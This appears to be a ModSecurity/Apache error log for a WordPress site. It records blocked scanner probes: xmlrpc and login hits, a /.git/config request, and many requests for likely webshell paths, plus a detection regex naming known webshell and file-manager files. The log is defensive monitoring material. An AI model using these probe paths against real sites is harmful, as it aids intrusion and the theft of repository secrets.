[Tue Nov 25 22:12:41.390198 2025] [:error] [pid 28609:tid 28627] [client 48.210.250.238:62960] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-home.php"] [unique_id "aSW5WSGGdT-nZJVs3x36LgAAAYk"]
[Tue Nov 25 22:12:45.203576 2025] [:error] [pid 43981:tid 43983] [client 48.210.250.238:62952] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-home.php"] [unique_id "aSW5XQgZn97m_qh_RaFypQAAAwA"]
[Tue Nov 25 23:01:45.090970 2025] [:error] [pid 14076:tid 14083] [client 146.190.155.17:52844] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXE2XsB4Gz6Qw-pvBtdvAAAAAI"]
[Tue Nov 25 23:27:22.694228 2025] [:error] [pid 43843:tid 43853] [client 34.57.133.134:64258] [client 34.57.133.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSXK2hhx4v3NUNdMKDMPhQAAAcg"]
[Tue Nov 25 23:27:23.109237 2025] [:error] [pid 14168:tid 14193] [client 34.57.133.134:61423] [client 34.57.133.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-json/oembed/1.0/embed"] [unique_id "aSXK2_R-ZDU0QEgAIIupbwAAANY"]
[Tue Nov 25 23:27:23.559102 2025] [:error] [pid 28739:tid 28769] [client 34.57.133.134:54958] [client 34.57.133.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXK2xxGpKmlkG4FexTUnAAAAgc"]
[Tue Nov 25 23:33:56.793769 2025] [:error] [pid 14076:tid 14081] [client 184.168.99.113:28868] [client 184.168.99.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.99.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXMZHsB4Gz6Qw-pvBtnxwAAAAA"]
[Tue Nov 25 23:55:08.614858 2025] [autoindex:error] [pid 28609:tid 28641] [client 139.59.30.253:58553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 00:08:06.447872 2025] [:error] [pid 14077:tid 14124] [client 69.49.112.72:41624] [client 69.49.112.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.72, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSXUZhG9n7UHEkwDTyj2yQAAAE4"]
[Wed Nov 26 00:08:10.124915 2025] [:error] [pid 14077:tid 14121] [client 69.49.112.72:41624] [client 69.49.112.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.72, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSXUahG9n7UHEkwDTyj2zgAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 26 00:21:28.017315 2025] [:error] [pid 14168:tid 14174] [client 146.190.155.17:56058] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXXiPR-ZDU0QEgAIIu1KwAAAMM"]
[Wed Nov 26 00:21:51.003128 2025] [:error] [pid 43843:tid 43852] [client 195.154.86.36:37890] [client 195.154.86.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.154.86.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXXnxhx4v3NUNdMKDMbFwAAAcc"]
[Wed Nov 26 00:55:09.431832 2025] [:error] [pid 14168:tid 14190] [client 134.199.174.53:52428] [client 134.199.174.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.174.53, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSXfbfR-ZDU0QEgAIIu8pgAAANM"]
[Wed Nov 26 01:11:08.712740 2025] [:error] [pid 28609:tid 28637] [client 85.214.167.117:43676] [client 85.214.167.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.167.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXjLCGGdT-nZJVs3x0towAAAZM"]
[Wed Nov 26 01:13:09.810312 2025] [:error] [pid 43981:tid 43987] [client 134.199.174.53:57901] [client 134.199.174.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.174.53, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSXjpQgZn97m_qh_RaGbowAAAwQ"]
[Wed Nov 26 01:24:10.031795 2025] [:error] [pid 14077:tid 14119] [client 52.242.231.163:30237] [client 52.242.231.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.242.231.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXmOhG9n7UHEkwDTygK2gAAAEk"]
[Wed Nov 26 02:17:47.619962 2025] [:error] [pid 14078:tid 14157] [client 51.159.214.31:47050] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSXyy9VXYbb0ii_rVoL6pgAAAJQ"]
[Wed Nov 26 03:17:47.127742 2025] [:error] [pid 47046:tid 47115] [client 185.67.1.43:43834] [client 185.67.1.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.67.1.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYA2wfh86sJNKzeaMVfTwAAAIA"]
[Wed Nov 26 03:24:33.958644 2025] [:error] [pid 19664:tid 19727] [client 54.173.250.15:44256] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSYCcYHU6yUQwaQ4jb1maAAAAIc"]
[Wed Nov 26 03:52:54.182379 2025] [:error] [pid 3493:tid 3498] [client 185.76.245.85:58214] [client 185.76.245.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.76.245.85, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYJFmBUa93ugXko11NMSQAAAQM"]
[Wed Nov 26 03:53:23.462085 2025] [:error] [pid 3010:tid 3015] [client 185.76.245.85:50544] [client 185.76.245.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.76.245.85, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYJM0Wl16-roARWvItHZwAAAAE"]
[Wed Nov 26 03:59:35.792462 2025] [:error] [pid 3010:tid 3023] [client 117.62.235.53:36228] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSYKp0Wl16-roARWvItJ-AAAAAk"]
[Wed Nov 26 04:10:19.594882 2025] [:error] [pid 3010:tid 3027] [client 185.182.9.219:47826] [client 185.182.9.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.182.9.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSYNK0Wl16-roARWvItMUwAAAA0"]
[Wed Nov 26 04:10:23.398419 2025] [:error] [pid 3010:tid 3021] [client 185.182.9.219:47826] [client 185.182.9.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.182.9.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSYNL0Wl16-roARWvItMXgAAAAc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 26 04:34:50.209681 2025] [:error] [pid 3012:tid 3078] [client 159.69.28.178:43014] [client 159.69.28.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.69.28.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYS6kfo8Sm1Un9NK6gisQAAAIk"]
[Wed Nov 26 04:44:26.607588 2025] [:error] [pid 3493:tid 3519] [client 192.185.2.110:41906] [client 192.185.2.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.2.110, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSYVKmBUa93ugXko11NiNwAAARg"]
[Wed Nov 26 04:44:28.544912 2025] [:error] [pid 38796:tid 38811] [client 192.185.2.110:41910] [client 192.185.2.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.2.110, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSYVLAGcUUzaXxvjCXOfhAAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 26 05:24:42.103082 2025] [:error] [pid 38796:tid 38804] [client 194.76.26.241:59714] [client 194.76.26.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.76.26.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYemgGcUUzaXxvjCXOspgAAAUU"]
[Wed Nov 26 05:44:02.388060 2025] [:error] [pid 3097:tid 3124] [client 190.89.239.16:9945] [client 190.89.239.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.89.239.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYjIuVgdOH9N9jhT56drAAAANc"]
[Wed Nov 26 06:32:19.373076 2025] [:error] [pid 2118:tid 2129] [client 65.181.111.149:45580] [client 65.181.111.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.181.111.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSYucxndpvkGwwtuEgIiuwAAA4k"]
[Wed Nov 26 06:32:22.466283 2025] [:error] [pid 2118:tid 2126] [client 65.181.111.149:45580] [client 65.181.111.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.181.111.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSYudhndpvkGwwtuEgIivgAAA4Y"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 26 06:47:25.578698 2025] [:error] [pid 3012:tid 3081] [client 180.93.52.173:35780] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSYx_Ufo8Sm1Un9NK6hEoAAAAIw"]
[Wed Nov 26 07:55:34.074965 2025] [:error] [pid 34830:tid 34839] [client 34.73.73.46:53318] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSZB9kukvkWgWN6jCR1cNwAAAAc"]
[Wed Nov 26 09:22:15.991235 2025] [:error] [pid 45901:tid 45921] [client 150.109.180.208:47126] [client 150.109.180.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.109.180.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSZWRyunQ1SpfPRNrtxk_QAAARI"]
[Wed Nov 26 09:23:20.829978 2025] [:error] [pid 45836:tid 45864] [client 185.21.112.38:36380] [client 185.21.112.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.21.112.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSZWiJfrnOGqL-seZAz96wAAANI"]
[Wed Nov 26 09:30:25.356235 2025] [:error] [pid 45901:tid 45911] [client 212.30.36.188:35969] [client 212.30.36.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSZYMSunQ1SpfPRNrtxnUAAAAQg"]
[Wed Nov 26 09:30:28.442408 2025] [:error] [pid 45836:tid 45846] [client 212.30.36.200:30045] [client 212.30.36.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/bk/index.php"] [unique_id "aSZYNJfrnOGqL-seZAz_kQAAAMA"]
[Wed Nov 26 09:30:45.066036 2025] [:error] [pid 35540:tid 35552] [client 212.30.36.212:33315] [client 212.30.36.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSZYRcGrIq2A6SZSnkInIgAAAIY"]
[Wed Nov 26 09:30:51.133184 2025] [:error] [pid 34742:tid 34749] [client 212.30.36.180:59407] [client 212.30.36.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSZYS5SuLNwpQF_jzAcO9wAAAEE"]
[Wed Nov 26 09:30:52.270206 2025] [:error] [pid 34742:tid 34772] [client 212.30.36.172:21625] [client 212.30.36.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSZYTJSuLNwpQF_jzAcO-AAAAFg"]
[Wed Nov 26 09:30:53.265098 2025] [:error] [pid 34743:tid 34784] [client 212.30.36.181:37895] [client 212.30.36.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSZYTQvyX7Q5oU7_mBxobAAAAUg"]
[Wed Nov 26 09:30:57.179249 2025] [:error] [pid 34743:tid 34799] [client 212.30.36.203:20939] [client 212.30.36.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSZYUQvyX7Q5oU7_mBxodAAAAVc"]
[Wed Nov 26 09:31:01.321407 2025] [:error] [pid 34830:tid 34836] [client 212.30.36.216:58505] [client 212.30.36.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSZYVUukvkWgWN6jCR10QgAAAAQ"]
[Wed Nov 26 09:31:17.460810 2025] [:error] [pid 34744:tid 34808] [client 212.30.36.199:50163] [client 212.30.36.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSZYZUtgOvVbhyALkTTBBwAAAYU"]
[Wed Nov 26 09:31:18.616110 2025] [:error] [pid 45901:tid 45913] [client 212.30.36.216:43875] [client 212.30.36.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSZYZiunQ1SpfPRNrtxnmwAAAQo"]
[Wed Nov 26 09:32:35.152161 2025] [:error] [pid 34743:tid 34777] [client 212.30.36.177:25231] [client 212.30.36.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.36.177, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSZYswvyX7Q5oU7_mBxo8wAAAUE"]
[Wed Nov 26 09:32:42.988045 2025] [:error] [pid 34743:tid 34790] [client 212.30.36.177:25231] [client 212.30.36.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/modules.php"] [unique_id "aSZYugvyX7Q5oU7_mBxo-QAAAU4"]
[Wed Nov 26 09:33:05.642654 2025] [:error] [pid 34743:tid 34799] [client 212.30.36.227:22221] [client 212.30.36.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSZY0QvyX7Q5oU7_mBxpCwAAAVc"]
[Wed Nov 26 09:34:00.853407 2025] [:error] [pid 34742:tid 34748] [client 212.30.36.216:23509] [client 212.30.36.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/lx.php"] [unique_id "aSZZCJSuLNwpQF_jzAcPswAAAEA"]
[Wed Nov 26 09:35:35.529020 2025] [:error] [pid 34743:tid 34798] [client 212.30.36.231:61347] [client 212.30.36.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSZZZwvyX7Q5oU7_mBxpywAAAVY"]
[Wed Nov 26 09:36:31.643236 2025] [:error] [pid 45836:tid 45854] [client 212.30.36.174:31389] [client 212.30.36.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSZZn5frnOGqL-seZAwBlQAAAMg"]
[Wed Nov 26 09:36:33.585524 2025] [:error] [pid 34744:tid 34807] [client 212.30.36.176:47887] [client 212.30.36.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.30.36.176, incrementing ddos counter"] [hostname "www.rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSZZoUtgOvVbhyALkTTCKwAAAYQ"]
[Wed Nov 26 09:36:38.965485 2025] [:error] [pid 34744:tid 34806] [client 212.30.36.176:47887] [client 212.30.36.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSZZpktgOvVbhyALkTTCMwAAAYM"]
[Wed Nov 26 09:36:55.439661 2025] [:error] [pid 34830:tid 34835] [client 212.30.36.203:35795] [client 212.30.36.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSZZt0ukvkWgWN6jCR11wwAAAAM"]
